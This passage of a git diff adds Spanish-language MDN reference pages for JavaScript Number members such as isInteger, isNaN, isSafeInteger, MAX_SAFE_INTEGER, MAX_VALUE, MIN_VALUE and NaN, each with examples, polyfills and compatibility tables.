+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.isFinite")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El objeto {{jsxref("Number")}} al que pertenece esta función.</li>
+ <li>La función global {{jsxref("isFinite")}}.</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/isinteger/index.html b/files/es/web/javascript/referencia/objetos_globales/number/isinteger/index.html
new file mode 100644
index 0000000000..6fdafca32e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/isinteger/index.html
@@ -0,0 +1,94 @@
+---
+title: Number.isInteger()
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/isInteger
+tags:
+  - JavaScript
+  - Number
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isInteger
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>Number.isInteger()</code></strong> determina si el valor pasado es de tipo entero.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isinteger.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Number.isInteger(valor)</code></pre>
+
+<h3 id="Parámetros" name="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>valor</code></dt>
+ <dd>El valor a ser probado si es un entero.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un {{jsxref("Boolean")}} indicando si el valor dado es un entero o no.</p>
+
+<h2 id="Descripción">Descripción </h2>
+
+<p>Si el valor seleccionado es un entero, devuelve <code>true</code>, de lo contrario <code>false</code>. Si el valor es {{jsxref("NaN")}} o infinito, devuelve <code>false</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">Number.isInteger(0);         // true
+Number.isInteger(1);         // true
+Number.isInteger(-100000);   // true
+Number.isInteger(99999999999999999999999); // true
+
+Number.isInteger(0.1);       // false
+Number.isInteger(Math.PI);   // false
+
+Number.isInteger(NaN);       // false
+Number.isInteger(Infinity);  // false
+Number.isInteger(-Infinity); // false
+Number.isInteger('10');      // false
+Number.isInteger(true);      // false
+Number.isInteger(false);     // false
+Number.isInteger([1]);       // false
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">Number.isInteger = Number.isInteger || function(value) {
+  return typeof value === 'number' &amp;&amp;
+    isFinite(value) &amp;&amp;
+    Math.floor(value) === value;
+};
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.isinteger', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.isinteger', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatitibilidad_con_navegadores">Compatitibilidad con navegadores</h2>
+
+<p>{{Compat("javascript.builtins.Number.isInteger")}}</p>
+
+<h2 id="Ver también" name="Ver también">Ver también</h2>
+
+<ul>
+ <li>El objeto {{jsxref("Number")}} al que pertenece.</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/isnan/index.html b/files/es/web/javascript/referencia/objetos_globales/number/isnan/index.html
new file mode 100644
index 0000000000..cc9c62274c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/isnan/index.html
@@ -0,0 +1,140 @@
+---
+title: Number.isNaN()
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/isNaN
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>Number.isNaN()</code></strong> determina si el valor pasado es {{jsxref("NaN")}}. Versión más robusta de la función global {{jsxref("isNaN", "isNaN()")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>Number.isNaN(v<var>alue</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>valor</code></dt>
+ <dd>El valor para ser evaluado por {{jsxref("NaN")}}.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Debido a los dos operadores de igualdad, {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} y {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}, evaluando a <code>false</code> cuando al comprobar si {{jsxref("NaN")}} <em>is</em> {{jsxref("NaN")}}, la función <code>Number.isNaN()</code> se ha convertido en necesaria. Esta situación es diferente a las otras comparaciones de valor en JavaScript.</p>
+
+<p>En comparación a la función global {{jsxref("isNaN", "isNaN()")}}, <code>Number.isNaN()</code> no sufre el problema de forzar la conversión del parámetro a un número. Esto significa que ahora es seguro pasar valores que normalmente se convertirían a {{jsxref("NaN")}}, pero no son del mismo valor que {{jsxref("NaN")}}. Esto también significa que solo los valores de tipo número, que también son {{jsxref("NaN")}}, retornan <code>true</code>.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js notranslate">Number.isNaN(NaN);        // true
+Number.isNaN(Number.NaN); // true
+Number.isNaN(0 / 0)       // true
+
+// e.g. estos hubiesen sido true con la función global isNaN()
+Number.isNaN("NaN");      // false
+Number.isNaN(undefined);  // false
+Number.isNaN({});         // false
+Number.isNaN("blabla");   // false
+
+// Todos retornan false
+Number.isNaN(true);
+Number.isNaN(null);
+Number.isNaN(37);
+Number.isNaN("37");
+Number.isNaN("37.37");
+Number.isNaN("");
+Number.isNaN(" ");
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js notranslate">Number.isNaN = Number.isNaN || function(value) {
+    return typeof value === "number" &amp;&amp; isNaN(value);
+}
+
+// O
+Number.isNaN = Number.isNaN || function(value) {
+    return value !== value;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.isnan', 'Number.isnan')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("25")}}</td>
+   <td>{{CompatGeckoDesktop("15")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("15")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/issafeinteger/index.html b/files/es/web/javascript/referencia/objetos_globales/number/issafeinteger/index.html
new file mode 100644
index 0000000000..b12c4cf4d6
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/issafeinteger/index.html
@@ -0,0 +1,99 @@
+---
+title: Number.isSafeInteger()
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/isSafeInteger
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Number
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>Number.isSafeInteger()</code></strong> determina si el valor provisto es un número que es un entero seguro.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-issafeinteger.html")}}</div>
+
+
+
+<p>Un entero seguro es un entero que</p>
+
+<ul>
+ <li>puede ser exactamente representado como un número IEEE-754 de doble presición, y</li>
+ <li>su representación IEEE-754 no puede ser el resultado de redondear cualquier otro entero para  adaptarse a la representación de IEEE-754.</li>
+</ul>
+
+<p>Por ejemplo, <code>2<sup>53</sup> - 1</code> es un entero seguro: puede ser exactamente representado y ningún otro entero puede ser redondeado a él bajo cualquier modo de redondeo de IEEE-754. En contraste, <code>2<sup>53</sup></code> <em>no</em> es un entero seguro, puede ser exactamente representado en IEEE-754, pero el entero <code>2<sup>53</sup> + 1</code> no puede ser directamente representado en IEEE-754 pero en su lugar, redondea a <code>2<sup>53</sup></code> bajo los modos de redondeo <em>redondeo-al-más-cercano</em> y <em>redondeo-a-cero</em>.  Los enteros seguros consisten en todos los enteros desde <code>-(2<sup>53</sup> - 1)</code> inclusivo, hasta <code>2<sup>53</sup> - 1</code> inclusivo (± <code>9007199254740991</code> o ± 9,007,199,254,740,991).  </p>
+
+<p>Manejar valores más grandes o más pequeños que ~9 cuatrillones con presición completa requiere usar una <a href="https://en.wikipedia.org/wiki/Arbitrary-precision_arithmetic">biblioteca de artimética de presición arbitraria</a>.  Ver <a href="http://floating-point-gui.de/">Lo que todo programador necesita saber sobre aritmética de punto flotante</a> para más información sobre representaciones de punto flotante de los números.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Number.isSafeInteger(<em>valorDePrueba</em>)</code>
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><em>valorDePrueba</em></code></dt>
+ <dd>El valor a probar si es un entero seguro.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un {{jsxref("Boolean")}} que indica si el valor dado es un número que es entero seguro.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">Number.isSafeInteger(3);                    // true
+Number.isSafeInteger(Math.pow(2, 53));      // false
+Number.isSafeInteger(Math.pow(2, 53) - 1);  // true
+Number.isSafeInteger(NaN);                  // false
+Number.isSafeInteger(Infinity);             // false
+Number.isSafeInteger('3');                  // false
+Number.isSafeInteger(3.1);                  // false
+Number.isSafeInteger(3.0);                  // true
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">Number.isSafeInteger = Number.isSafeInteger || function (value) {
+   return Number.isInteger(value) &amp;&amp; Math.abs(value) &lt;= Number.MAX_SAFE_INTEGER;
+};
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.isSafeInteger")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El objeto {{jsxref("Number")}} al que pertenece.</li>
+ <li>{{jsxref("Number.MIN_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/max_safe_integer/index.html b/files/es/web/javascript/referencia/objetos_globales/number/max_safe_integer/index.html
new file mode 100644
index 0000000000..e5fa9df144
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/max_safe_integer/index.html
@@ -0,0 +1,68 @@
+---
+title: Number.MAX_SAFE_INTEGER
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/MAX_SAFE_INTEGER
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER
+---
+<div>{{JSRef}}</div>
+
+<p>La constante <strong><code>Number.MAX_SAFE_INTEGER</code></strong> es el número mas grande 'seguro' en JavaScript (<code>2<sup>53</sup> - 1</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-maxsafeinteger.html")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo está almacenada en GitHub. Si quieres contribuir al proyecto de ejmplos interactivos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos un 'pull request'.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La constante <code>MAX_SAFE_INTEGER</code> tiene un valor de <code>9007199254740991</code> (9,007,199,254,740,991 o ~9 mil billones). El razonamiento detrás de ese número es que JavaScript usa <a href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">números flotantes de doble precisión</a> tal como está especfificado en <a href="http://en.wikipedia.org/wiki/IEEE_floating_point">IEEE 754</a> por lo que puedes representar números de forma segura entre <code>-(2<sup>53</sup> - 1)</code> y  <code>2<sup>53</sup> - 1</code>.</p>
+
+<p>Seguro, en este contexto, se refiere a la habilidad de representar enteros de forma exacta y compararlos de forma correcta. Por ejemplo, <code>Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2</code> evaluará como 'verdadero', lo cual es matemáticamente incorrecto. Ver {{jsxref("Number.isSafeInteger()")}} para más información.</p>
+
+<p>Debido a que <code>MAX_SAFE_INTEGER</code> es una propiedad estática de {{jsxref("Number")}}, siempre se usa como <code>Number.MAX_SAFE_INTEGER</code>, en lugar de como una propiedad de un objeto {{jsxref("Number")}} que hayas creado.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">Number.MAX_SAFE_INTEGER // 9007199254740991
+Math.pow(2, 53) - 1     // 9007199254740991
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página está generada con base en información estructurada. Si quieres contribuir a dicha información, por favor revisa  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un 'pull request'.</p>
+
+<p>{{Compat("javascript.builtins.Number.MAX_SAFE_INTEGER")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Number.MIN_SAFE_INTEGER")}}</li>
+ <li>{{jsxref("Number.isSafeInteger()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/max_value/index.html b/files/es/web/javascript/referencia/objetos_globales/number/max_value/index.html
new file mode 100644
index 0000000000..60c3d04e95
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/max_value/index.html
@@ -0,0 +1,131 @@
+---
+title: Number.MAX_VALUE
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/MAX_VALUE
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE
+---
+<div>{{JSRef}}</div>
+
+<div>La propiedad <strong><code>Number.MAX_VALUE</code></strong><code> </code>representa el valor numérico positivo máximo representable en JavaScript.</div>
+
+<div> </div>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La propiedad <code>MAX_VALUE</code> tiene un valor aproximado a <code>1.79E+308</code>. Si el valor es mayor será representado como <em><code>Infinity</code></em>.</p>
+
+<p>Dado que <code>MAX_VALUE</code> es una propiedad estática de {{jsxref("Number")}}, siempre ha de usarse como <code>Number.MAX_VALUE</code>, y no como propiedad del objeto que has creado.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_MAX_VALUE">Usando <code>MAX_VALUE</code></h3>
+
+<p>La función <em>verificarValorMaximo </em>recibe un número como parámetro que se compara con <em>Number.MAX_VALUE. </em>Si el número es menor se imprime por consola <em>"El número no es infinito"</em>, de ser mayor <em>"El número es infinito"</em>.</p>
+
+<pre class="brush: js">var numero1 = 1.79E+307;
+var numero2 = 1.79E+310;
+
+function verificarValorMaximo(num){
+
+	if (num &lt;= Number.MAX_VALUE) {
+	  console.log("El número no es infinito");
+	} else {
+	  console.log("El número es infinito");
+	}
+
+}
+
+verificarValorMaximo(numero1); // El número no es infinito
+verificarValorMaximo(numero2); // El número es infinito
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.2', 'Number.MAX_VALUE')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.max_value', 'Number.MAX_VALUE')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.max_value', 'Number.MAX_VALUE')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Number.MIN_VALUE")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/min_value/index.html b/files/es/web/javascript/referencia/objetos_globales/number/min_value/index.html
new file mode 100644
index 0000000000..dadda2e337
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/min_value/index.html
@@ -0,0 +1,121 @@
+---
+title: Number.MIN_VALUE
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/MIN_VALUE
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong>Number.MIN_VALUE</strong></code> representa el menor valor positivo numérico representable en JavaScript.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La propiedad <code>MIN_VALUE </code>es el número más cercano a 0, no el más negativo, que JavaScript puede representar.</p>
+
+<p><code>MIN_VALUE </code>tiene un valor aproximado de <code>5e-324</code>. Los valores menores que <code>MIN_VALUE </code>(“subdesbordamiento de valores”) son convertidos a 0.</p>
+
+<p>Ya que <code>MIN_VALUE </code>es una propiedad estática de {{jsxref("Number")}}, debes utilizarla como <code>Number.MIN_VALUE</code>, más que como una propiedad del objeto {{jsxref("Number")}} que has creado.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_MIN_VALUE">Usando <code>MIN_VALUE</code></h3>
+
+<p>El siguiente código divide dos valores numéricos. Si el resultado es mayor o igual a <code>MIN_VALUE</code>, se ejecuta la función <code>func1</code>, si no, se ejecuta la función <code>func2</code>.</p>
+
+<pre class="brush: js">if (num1 / num2 &gt;= Number.MIN_VALUE) {
+  func1();
+} else {
+  func2();
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.3.3', 'Number.MIN_VALUE')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.min_value', 'Number.MIN_VALUE')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.min_value', 'Number.MIN_VALUE')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Number.MAX_VALUE")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/nan/index.html b/files/es/web/javascript/referencia/objetos_globales/number/nan/index.html
new file mode 100644
index 0000000000..79db15a598
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/nan/index.html
@@ -0,0 +1,59 @@
+---
+title: Number.NaN
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/NaN
+tags:
+  - JavaScript
+  - Número
+  - Propiedad
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/NaN
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <strong><code>Number.NaN</code></strong> representa Not-A-Number (No es numero). Equivalente de  {{jsxref("NaN")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-nan.html")}}</div>
+
+<p>No tienes que crear un objeto {{jsxref("Number")}} para acceder a esta propiedad estática (usa <code>Number.NaN</code>).</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Chequea_si_los_valores_son_numericos">Chequea si los valores son numericos</h3>
+
+<pre class="brush: js notranslate">function sanitise(x) {
+  if (isNaN(x)) {
+    return Number.NaN;
+  }
+  return x;
+}</pre>
+
+<h3 id="Testing_against_NaN">Testing against NaN</h3>
+
+<p>See <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN#Testing_against_NaN">Testing against NaN</a> on the <code>NaN</code> page.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.nan', 'Number.NaN')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.NaN")}}</p>
+
+<h2 id="Tambien_mira">Tambien mira</h2>
+
+<ul>
+ <li>El objeto global {{jsxref("NaN")}} .</li>
+ <li>El objeto {{jsxref("Number")}} al que pertenece.</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/number/negative_infinity/index.html b/files/es/web/javascript/referencia/objetos_globales/number/negative_infinity/index.html
new file mode 100644
index 0000000000..2e2d7d1573
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/number/negative_infinity/index.html
@@ -0,0 +1,117 @@
+---
+title: Number.NEGATIVE_INFINITY
+slug: Web/JavaScript/Referencia/Objetos_globales/Number/NEGATIVE_INFINITY
+tags:
+  - JavaScript
+  - Number
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY
+---
+<div>
+ {{JSRef("Objetos_globales", "Number")}}</div>
+<h2 id="Summary" name="Summary">Resumen</h2>
+<p>La propiedad <code><strong>Number.NEGATIVE_INFINITY</strong></code> representa el valor del infinito negativo.</p>
+<p>No se tiene que crear un objeto {{jsxref("Number")}} para acceder a esta propiedad estática (use <code>Number.NEGATIVE_INFINITY</code>).</p>
+<p>{{js_property_attributes(0,0,0)}}</p>
+<h2 id="Description" name="Description">Descripción</h2>
+<p>El valor <code>Number.NEGATIVE_INFINITY</code> es el mismo que el valor negativo de la propiedad del objeto global {{jsxref( "Infinity")}}<strong><code>.</code></strong></p>
+<p>Este valor tiene un comportamiento ligeramente diferente que el del infinito matematico:</p>
+<ul>
+ <li>Cualquier valor positivo, incluyendo <code>POSITIVE_INFINITY</code>, multiplicado por <code>NEGATIVE_INFINITY</code> da como resultado <code>NEGATIVE_INFINITY</code>.</li>
+ <li>Cualquier valor negativo, incluyendo <code>NEGATIVE_INFINITY</code>, multiplicado por <code>NEGATIVE_INFINITY</code> da como resultado <code>POSITIVE_INFINITY</code>.</li>
+ <li>Cero multiplicado por <code>NEGATIVE_INFINITY</code> da como resultado <code>NaN</code>.</li>
+ <li>NaN multiplicado por <code>NEGATIVE_INFINITY</code> da como resultado  <code>NaN</code>.</li>
+ <li><code>NEGATIVE_INFINITY</code>, divido por cualquier valor negativo excepto <code>NEGATIVE_INFINITY</code>, da como resultado <code>POSITIVE_INFINITY</code>.</li>
